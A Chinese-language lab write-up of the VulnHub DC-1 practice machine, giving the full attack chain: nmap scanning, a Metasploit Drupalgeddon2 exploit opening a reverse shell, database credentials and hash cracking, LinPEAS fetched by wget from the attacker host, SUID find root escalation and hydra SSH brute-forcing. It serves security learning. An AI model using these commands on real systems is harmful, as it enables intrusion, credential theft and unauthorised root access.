VulnHub DC-1 靶机渗透测试中,如何找到并利用特定漏洞进行攻击?

摘要:🛡️ VulnHub DC-1 靶机渗透测试笔记 靶机信息 靶机名称:DC-1 靶机来源:VulnHub 目标:获取所有 flag,最终提权至 root 难度:⭐⭐☆☆☆(入门级) 涉及技术:信息收集、Dru
🛡️ VulnHub DC-1 靶机渗透测试笔记 靶机信息 靶机名称:DC-1 靶机来源:VulnHub 目标:获取所有 flag,最终提权至 root 难度:⭐⭐☆☆☆(入门级) 涉及技术:信息收集、Drupal 漏洞利用、MySQL 数据库操作、Linux 权限提升、SSH 爆破 🔍 一、信息收集 1.1 主机发现 先查看一下本地网段,确认在 67 网段,使用 nmap 扫描存活主机: nmap -sn 192.168.67.0/24 扫描结果中发现目标 IP 为 192.168.67.131。 1.2 端口与服务扫描 对目标 IP 进行详细扫描,获取开放端口、服务版本及系统信息: nmap -A -T4 192.168.67.131 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0) 80/tcp open http Apache httpd 2.2.22 ((Debian)) |_http-generator: Drupal 7 111/tcp open rpcbind 2-4 (RPC #100000) 扫描结果分析: 端口 服务 关键信息 22 SSH OpenSSH 6.0p1,版本较老 80 HTTP Drupal 7,Apache 2.2.22 111 RPC 基本无利用价值 💡 关键发现: 80 端口运行的是 Drupal 7 CMS,这是一个存在多个高危漏洞的版本,是本次渗透的主要突破口。 💥 二、漏洞利用 2.1 搜索 Drupal 漏洞 使用 searchsploit 在本地漏洞库中搜索 Drupal 7 相关漏洞: searchsploit drupal 7 发现 Drupalgeddon2(CVE-2018-7600) 漏洞,该漏洞允许未授权远程代码执行(RCE),危害极高。 2.2 使用 Metasploit 利用漏洞 启动 Metasploit 框架: msfconsole 搜索并加载 Drupalgeddon2 模块: search Drupalgeddon use exploit/unix/webapp/drupal_drupalgeddon2 查看模块参数配置(Required: yes 为必填项): show options 配置目标和本机 IP: set RHOSTS 192.168.67.131 set LHOST 192.168.67.128 set LPORT 4444 执行攻击: run 成功获取 Meterpreter shell,进入交互式终端: shell python -c 'import pty;pty.spawn("/bin/bash")' 查看当前权限: whoami # www-data id uname -a # Linux DC-1 3.2.0-6-486 ⚠️ 当前为 www-data 权限,需要进一步提权。 🚩 三、寻找 Flag 3.1 Flag 1 查看当前目录文件,发现 flag1.txt: Every good CMS needs a config file - and so do you. 💡 提示:去找 CMS 的配置文件。 3.2 Flag 2 —— 数据库配置文件 Drupal 的配置文件路径为: cat /var/www/drupal/sites/default/settings.php 在配置文件中发现 MySQL 数据库账号密码 以及 Flag 2: 数据库凭据:dbuser / R0ck3t 尝试用 Navicat 外连失败(目标不允许外部连接): 改为在 shell 中本地连接 MySQL: mysql -udbuser -pR0ck3t 查看数据库,进入 drupaldb: show databases; use drupaldb; show tables; 查看 users 表结构: desc users; 提取用户名和密码 hash: select name,pass from users; 3.3 破解管理员密码 密码为 Drupal 使用的 PHPass 加密格式($S$ 开头),使用在线工具破解: cmd5.com(需付费) hashes.com(免费) 破解结果: $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR : 53cr3t 🔑 管理员账号:admin / 53cr3t 3.4 Flag 3 —— Drupal 后台 使用破解的账号登录 Drupal 后台:http://192.168.67.131/user/login 在后台内容中发现 Flag 3: 💡 提示:去找 /etc/passwd 文件。 3.5 Flag 4 —— 系统用户信息 在 MSF shell 中查看 /etc/passwd: 发现系统存在 flag4 用户: flag4:x:1001:1001:Flag4,,,:/home/flag4:/bin/bash 进入 /home/flag4 目录,查看 flag4 内容: cat flag4.txt Can you use this same method to find or access the flag in root? Probably. But perhaps it's not that easy. Or maybe it is? 💡 提示:在 root 目录中还有最终 flag,需要提权。 ⬆️ 四、权限提升 4.1 信息收集 笔记里的提权方式有很多 查看内核版本: 尝试使用 MSF 自动检测提权方案: run post/multi/recon/local_exploit_suggester 未找到可用的提权建议,换手动方式。 4.2 使用 LinPEAS 自动枚举 靶机无法访问外网,通过 Kali 中转传输文件。 在 Kali 上开启 HTTP 服务: python3 -m http.server 8888 在靶机 shell 中下载 linpeas.sh: wget http://192.168.67.128:8888/linpeas.sh 确认下载成功后执行: chmod +x linpeas.sh ./linpeas.sh LinPEAS 输出结果中发现 find 命令具有 SUID 权限: 4.3 SUID 提权(find 命令) 访问 GTFOBins 查询 find 的 SUID 利用方式: 执行提权命令(注意需要使用 -p 参数保留 SUID 权限): find . -exec /bin/bash -p \; -quit 成功获取 root 权限,找到最终 flag: Well done!!!! Hopefully you've enjoyed this and learned some new skills. You can let me know what you thought of this little journey by contacting me via Twitter - @DCAU7 🔑 五、扩展:SSH 爆破登录 除 SUID 提权外,还可以通过爆破 flag4 用户的 SSH 密码来进行另一条提权路线。 使用 hydra 爆破 SSH(用的是john的字典): hydra -l flag4 -P /usr/share/john/password.lst ssh://192.168.67.131 成功获取密码:flag4 / orange ssh flag4@192.168.67.131 # 密码:orange 💡 登录 flag4 后同样可以利用 SUID find 或内核漏洞提权至 root。 📋 六、渗透流程总结 信息收集(nmap) ↓ 发现 Drupal 7 → Drupalgeddon2(CVE-2018-7600) ↓ Metasploit 获取 www-data shell ↓ 读取 settings.php → 数据库凭据 → 破解管理员 hash ↓ 登录 Drupal 后台 → Flag 3 ↓ 查看 /etc/passwd → 发现 flag4 用户 ↓ LinPEAS 枚举 → 发现 find SUID ↓ SUID find 提权 → root → 最终 Flag ✅ 🛠️ 七、涉及工具汇总 工具 用途 nmap 端口扫描、服务识别 searchsploit 本地漏洞库搜索 Metasploit 漏洞利用框架 MySQL CLI 数据库查询 LinPEAS Linux 提权信息收集 GTFOBins SUID/sudo 利用查询 Hydra SSH 密码爆破 hashes.com 在线 hash 破解 📝 本文为 VulnHub DC-1 靶机学习笔记,仅用于合法的安全学习与研究。